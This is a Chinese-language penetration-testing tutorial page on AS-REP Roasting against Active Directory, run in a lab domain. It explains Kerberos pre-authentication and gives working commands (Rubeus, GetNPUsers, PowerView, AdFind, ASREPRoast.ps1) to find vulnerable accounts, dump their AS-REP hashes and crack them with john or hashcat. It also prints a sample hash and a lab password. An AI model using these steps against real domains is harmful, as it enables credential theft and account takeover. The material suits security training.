内网渗透
01基础知识
02域环境的搭建
03工作组权限
04域内权限
05Windows本地认证
06网络认证
07Kerberos协议
08工作组的信息搜集
09域内的信息搜集
10工作组的密码抓取
11域内的密码抓取
12Dcsync原理以及攻击
13RDP密码凭证抓取
14横向移动概述
15IPC$横向移动
16PTH哈希传递
17PTK密钥传递
18PTT票据传递
19PSexec进行横向移动
20SMBexec进行横向移动
21利用WinRM服务进行横向移动
22利用WMI进行横向移动
23用户枚举与喷洒
24用户枚举与喷洒-实验
25Roasting攻击
26Kerberoasting
27黄金票据
28黄金票据-实验
29白银票据
30白银票据-实验
31委派概述
32非约束性委派攻击
33约束性委派攻击
34约束性委派攻击-实验
35基于资源的约束性委派
36基于资源的约束性委派-实验
-
+
首页
25Roasting攻击
## 原理 > 概述 AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式,是管理员的错误配置所导致的,管理员在域控上勾选了【不要求Kerberos】预身份验证。该攻击发生在AS-REP数据包,。 默认是没有勾选的  > 原理 AS-REP(AS-Response):当KDC收到AS-REQ之后解密PA-DATA pA-ENC-TIMESTAMP,如果成功就返回AS- REP - 第一个enc-part:TGT中由KRBTGT哈希值加密部分 - 第二个enc-part:TGT中由用户哈希值加密部分   ## 有无Kerberos预身份验证的区别 > 没有Kerberos预身份验证 kekeo工具 ``` tgt::ask /user:用户名 /domain:域名 /password:密码 ```  AS-REQ  AS-REP  > 有Kerberos预身份验证 使用ASREPRoast.ps1脚本 ``` Import-Module .\ASREPRoast.ps1 Invoke-ASREPRoast | select -ExpandProperty Hash ```  注意:如果导入失败,则需要管理员权限执行该命令:set-ExecutionPolicy RemoteSigned  AS-REQ  AS-REP  如果勾选了【不要求Kerberos预身份验证】,只要我们提供用户名,就会返回该用户的TGT ## 获取不要求预身份验证的用户 想要破解用户的密码,首先要知道哪些用户勾选了【不要求Kerberos预身份验证】 > 在域控机器上 可以直接执行以下命令 ``` Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name ```  > 在域内机器上(已加入域环境) 可以执行PowerView.ps1脚本 ``` Import-Module .\PowerView.ps1 Get-DomainUser -PreauthNotRequired –Verbose ```  ``` Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose ```  > 在域内工作组的机器(没有加入域环境) 前提条件得知道一个域内账户及密码 ``` adind.exe -h IP地址:389 -u 域名(没有.com)\用户名 -up 密码 -f "useraccountcontrol:1.2.840.113556.1.4.803:=4194304" -dn ``` ``` AdFind.exe -h 192.168.110.10:389 -u xbxaq\zhangsan -up a1b2c3.. -f "useraccountcontrol:1.2.840.113556.1.4.803:=4194304" -dn ```  ## 获取AS-REQ的enc-part值 ### 域内主机 如果想要知道用户的enc-part值可以使用相关工具,通过LDAP协议进行查询用户,然后再列出相关的enc-part值 > Rubeus.exe Rubesu.exe是由国外安全研究院harmj0y用C#编写的针对Kerberos协议进行攻击的工具,可以发起Kerberos请求,并将请求票据导入内存中。 Rebeus提供了大量的用于Kerberos攻击的功能,比如 TGT请求/ST请求/AS-REP Roasting攻击/Kerberoasting攻击/委派攻击/黄金票据/白银票据等。 ``` Rubeus.exe asreproast /format:john /outfile:1.txt ```  注意:Rubesu工具需要 .NET Framework 3.5支持,否则会运行不了。 这里环境为Windows server 2016,离线安装  安装成功之后再次执行(如果不行,重新计算机) ``` Rubeus.exe asreproast /format:john /outfile:1.txt ```  > ASREPRoast.ps1脚本 ``` Import-Module .\ASREPRoast.ps1 Invoke-ASREPRoast | select -ExpandProperty Hash ```  ### 非域内主机 非域内主机想要enc-part值两种方法: - 用户字典一 一 枚举 - GetNPUsers.exe 通过前面的操作,我们知道了哪些用户勾选了【不要求预身份验证】,可以使用GetNPUsers.exe工具,列出具体用户的enc-part值。 ``` GetNPUsers.exe -dc-ip 192.168.110.10 xbxaq/zhong -no-pass ```  提示:可以在目录后面加一个 > hash.txt 便于提取值 ``` GetNPUsers.exe -dc-ip 192.168.110.10 xbxaq/zhong -no-pass > hash.txt ```  zhong用户的enc-part值为 ``` $krb5asrep$23$zhong@XBXAQ:71bd6c09df1d882dbe339a52ba55c5dc$23a142f0912af9e4eae75499120ec7e9027f9f87d294dcd64098f9ad397a100ecee3d1629a4ce1a4d575ecd3d137606057b294834c7a6a6b31f921cf507283171f0c46b053d5a358bf86a9ff9b45d1438e7c442ea17938e1055f56d5d637678cc55db24b07cc87c042d7c32749066693d2f4bc5751e6e4f18e64e4635b318c32c046cd1440a5493b5045008cc303110eccb5d7a07a121eaa1ba7dfe6a7bd44310a7973b5db08307aa924b813922a76a0a2c3f3a2b08b6362a88ddf4ed6c7dc5af4896252cba3c1fee7feef4a9b0607fecf728536aa1d0f14068ed60093564952dfa7 ``` ## 破解part值 ### john ``` john.exe --wordlist=密码字典 hash.txt ``` hash.txt中的值为GetNPUsers工具所破解出来的  提示:建议不要将字典文档和hash值文档放在run目录下 ### hashcat 命令手册: https://hashcat.net/wiki/doku.php?id=example_hashes 注意:个别工具抓取的part值与18200的命令格式有所不同,需要手动修改 官方格式  GetNPUsers工具抓取的part值格式  ASREPRoast.ps1脚本抓取的part值格式 
毛林
2025年9月7日 11:39
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码